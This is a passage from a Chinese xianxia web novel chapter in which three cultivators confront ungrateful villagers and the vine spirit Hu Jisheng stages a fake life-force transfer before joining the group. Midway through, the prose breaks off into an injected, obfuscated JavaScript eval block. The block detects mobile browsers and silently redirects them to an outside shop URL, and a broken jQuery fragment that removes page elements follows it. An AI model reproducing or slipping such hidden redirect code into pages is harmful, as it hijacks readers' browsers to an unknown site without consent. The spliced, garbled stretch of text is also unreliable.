“谁说我们要杀人了?”
他们可是修仙者,动不动就打打杀杀的,像什么样子。
苏问昭还没来得及解释,狐寄生带着那些失踪的村民赶了过来,一群人扶起村长,神色不善地盯着她,仿佛她是才是所谓的魔修。
“仙人何故伤我们村长?”
苏问昭还以为他们没弄清状况,将村长勾结魔修一事简单说了个清楚,没想到村民们听完,互相对视一眼,更加坚定地挡在村长身前。
“村长都是为了我们。倒是你们这些修仙者,享受天地灵气,帮助我们这些凡人,难道不是应当的吗?”
“就是,反正你们不也好好的吗?”
众人七嘴八舌,此刻他们脱离了危险,全然忘记当时被困在阵法里的狼狈模样。
苏问昭简直要被他们的厚颜无耻气笑了,原本她也没想怎么着这个村长。
“我看你们是被阵法困的时间太短了,好了伤疤忘了疼,不如咱们现在再回去待一会儿?”
说罢,她掌心汇聚出一道浅浅的灵力。
“你们……怎么敢!”
村民们警惕地往后退了几步,那眼神恨不得吃了她。
“够了。”
村长再也沉默不下去,挥挥手示意他们让开,面如死水,似乎已经坦然接受了所有的结局。
“你想怎么样?”
苏问昭看看谢知秋,又看看狐寄生,他们脸上毫无波澜,看村民们的目光如同渺小的蝼蚁。
作为妖,他们似乎本来就对人类保持着敌意与蔑视。
所以对这幅场景不为所动。
但是苏问昭不同,农夫与蛇的故事,她还是头一次遇上,本能地想向他们寻求帮助。
人一多谢知秋就像不会说话了一样,呆若木鸡地站在原地,看起来,他比苏问昭更需要帮助。
倒是狐寄生思考片刻,主动开口问道。
“既然你们说村长对你们很好,那他愿不愿意为了你们减少自己的寿命?”
“这……”
几人你看我我看你,他们在阵法中损失的寿命已经无法再回来了,谁也不希望自己变成如今这幅苍老虚弱的模样。
于是他们齐刷刷把目光看向了村长,眼中里带着恳求。
“村长,我上有老下有小。”
“村长,我才成亲不久,娘子还在家中等我。”
熟悉的道德绑架话术,只不过方才是对着苏问昭他们,这下对象变成了村长。
村长娘子脸色煞白,推开几人,叉着腰和他们对骂。
“要不是为了你们,夫君也不会和魔修达成交易,你们竟然想恩将仇报!”
“别说了。”村长站直身子,朝着狐寄生微微颔首,一副大义凌然的模样,“还请您帮帮忙。”
“好啊。”狐寄生走到苏问昭身旁,朝着她狡黠一笑,又神情严肃地扫视着众人,“方才在林子里,我仔细研究过那个阵法,只要稍加改动,便能将阵中之人的精力转移给其他人。”
“那还等什么!”
“赶紧吧,仙人。”
“别急别急。”
狐寄生装模作样在地上划出一道阵法,示意村长站进去,村长娘子见状,也要跟着进去。
苏问昭让到一旁,走到谢知秋旁边。
这村长娘子也是真心,愿意陪着村长一起老去。
“真是对苦命鸳鸯。”
“什么?”
“我说,愿得一心人,白首不相离。他们算不算是这个意思?”
离不离先不说,白首倒是一起了。
“你喜欢这种?”
“咳咳,别说话,看戏。”
苏问昭干咳两声,没说喜欢,也没说不喜欢,比起两人一起吃苦,她还是希望另一半能带她脱离苦海。
她心想,要她是村长娘子,才不管这些村民,一拐子把村长打晕了,直接连夜出村,这些人死活都跟她没关系。
不对不对,她想这个干嘛,看着这阵法,苏问昭赶紧转移话题。
“这阵法真有这么厉害?”
“我也不知道。”
苏问昭脑中想法一闪而过,怪不得总有人想当邪修,不费吹灰之力就能得到他人的修为和灵气,这不比苦修快得多?
用不用得上另说,她得好好研究一下。
只见其余村民在狐寄生的示意下,来到另外一个阵法里。
“那我开始了。”
话音落下,地底下突然钻出无数藤蔓,缠绕在他们脚上,村长和村长夫人正在以肉眼可见的速度衰老,他们鬓边染上白丝,面容很快变成了五六十岁的老人。
那些村民也发生了变化,原本已经苍白的头顶开始冒出黑发,力气也恢复了许多,不过当他们想要渴求更多时,阵法结束了。
他们和村长夫妇一样,变成了五十左右的老人,这个年纪不上不下,力气不足,但也不至于虚弱。
这个结果显然不能让那些村民满意,若不是顾忌着他们三人的身份,恨不得让狐寄生再次开启阵法,非把村长夫妇吸干不可。
“知足吧你们,要是后面让我发现你们不老实,我就再把你们变成那副苍老的样子。”
被狐寄生言语威胁以后,他们只得老实下来,也不管刚被吸走精力,身体虚弱的村长夫妇,找了个借口纷纷离开了。
“这就是你真心对待的村民?”
苏问昭一刻也不想在这村子里呆了,自以为是的村长,贪婪无赖的村民。仔细想想,若不是他们贪婪,误以为林中的秘宝,又怎么会前赴后继迷失其中。
事到如今,全是他们活该。
“我们走吧。”
委托已经完成了,她只想赶紧回去拿奖励。
来时步履匆匆,志高远大,回去之时就显得沉重得多了。
苏问昭看了眼狐寄生,心里盘算着她到底是好是坏,又心疼自己那些修为,她能感觉到狐寄生并无恶意,既然如此,自己是不是能讨价还价……
谢知秋亦在思考,没想到出了领地,入了凡尘,竟然有这么复杂的人心,他们似乎还被迫卷入了魔修的阴谋之中,这些都是他始料未及的。
想着反正有谢知秋撑腰,苏问昭冷不丁开口,直截了当地提出要求。
“狐师妹,你能把我的修为还给我吗?”
“什么?”
既然狐寄生能用阵法转移精力,应当也能转移修为吧。她也不贪心,就只要自己原本的东西。
“那个不行。”
狐寄生有些心虚,开口拒绝。
“你刚才……”
“那是我骗他们的,我只是使了点障眼法,让他们的外表发生了变化,顺便偷了点村长的精力。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660683|206991||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
想到这里,狐寄生还有些不好意思。
“没想到还把师姐你给唬住了。”
恶人还得恶人磨。
苏问昭感觉身边没一个老实人,怎么大家看起来纯良无害,一个个都焉坏。
一想到之后那些村民发现自己又变回苍老模样,纠缠着村长夫妇不放的场景,啧啧啧。
“那我不管,你欠我的修为,总得想办法还回来。”
“那我把这次委托的奖励全部让给师姐怎么样?”
报酬丰厚……
“考虑考虑。”
狐寄生面色一喜,又要过来挽着她,苏问昭心有余悸,赶紧躲到谢知秋身后。
“别碰我啊。”
“师姐。”
谢知秋被两人的打打闹闹扰乱了思绪,竟也不觉得讨厌,面上不自觉挂起笑意。
闹了一会儿,狐寄生才停了下来,犹豫再三,拿出自己记录的妖物志,郑重地塞到苏问昭手上。
“一开始,我只是一条攀附老树的藤蔓,吸收了他的修为,化为人形。那老树修炼得有上万年,原以为能得到成仙,却被一道天雷劈了个粉碎。”
“老树脾气很好,我无父无母,他就像我的家人。他那种参天大树,几乎是扎根一处便不再挪动,修炼实属不易。没想到……”
狐寄生话里带上几分哽咽。
“没了老树,我又打算找别的东西攀附,结果遇上了林师尊。也不知道他是什么东西做的,皮糙肉厚,我打不过就算了,还把我捆成麻花带到了无情道里面。让我老老实实修炼,有朝一日靠自己也能得到成仙。”
“谁要得到成仙啊?我就想当一棵藤,四处漂泊,记录下世间形形色色的精怪。哼,当初老树经常跟我说那些大妖的故事,我都记录下来了。”
苏问昭顺势翻开妖物志,最开始写着藤妖和树精,后面是一大堆她听都没听过的妖兽,翻了半天也没看见有关魅魔的记载。
“所以师姐,你带着我一起吧。我有时候就是控制不住自己,之前别的师兄师姐一发现不对劲,赶紧找借口把我甩了,只有你……”
“呃。”
苏问昭能说什么,怪自己超绝顿感,没发现修为丢失?
“你跟着我们干嘛啊?”
“一起做委托啊。每次下山,都是一场新的机遇,这次我们遇到了讹兽,下次说不定又是其他,我把这些东西都记下来,到时候讲给老树听。”
“你不是说他被雷劈死了吗?”
“我在无情道的藏书中看过,成仙者有的要经历雷劫。那天那么大的雷,也许他是渡了雷劫成仙去了呢?”
“好吧。”
感觉不太可能,不过苏问昭不忍心打破她的美好希望。
毕竟有希望才能有动力。
“不过我们做委托本就不易,再带个你嘛……”
“我这次可没拖后腿!”狐寄生像是反应过来什么,又说,“做委托的奖励,我全都不要,都给师姐。”
“不就是多一个人嘛。”
既然这样的话,苏问昭选择欣然接受。
一阵风吹过,妖物志被翻到最新一页,上面记录着讹兽的信息,苏问昭脑子也被吹清醒了,想起来讹兽还在树上捆着。
“要不我们回林子里看一眼吧,好歹也是只妖兽,不如带回去研究研究?”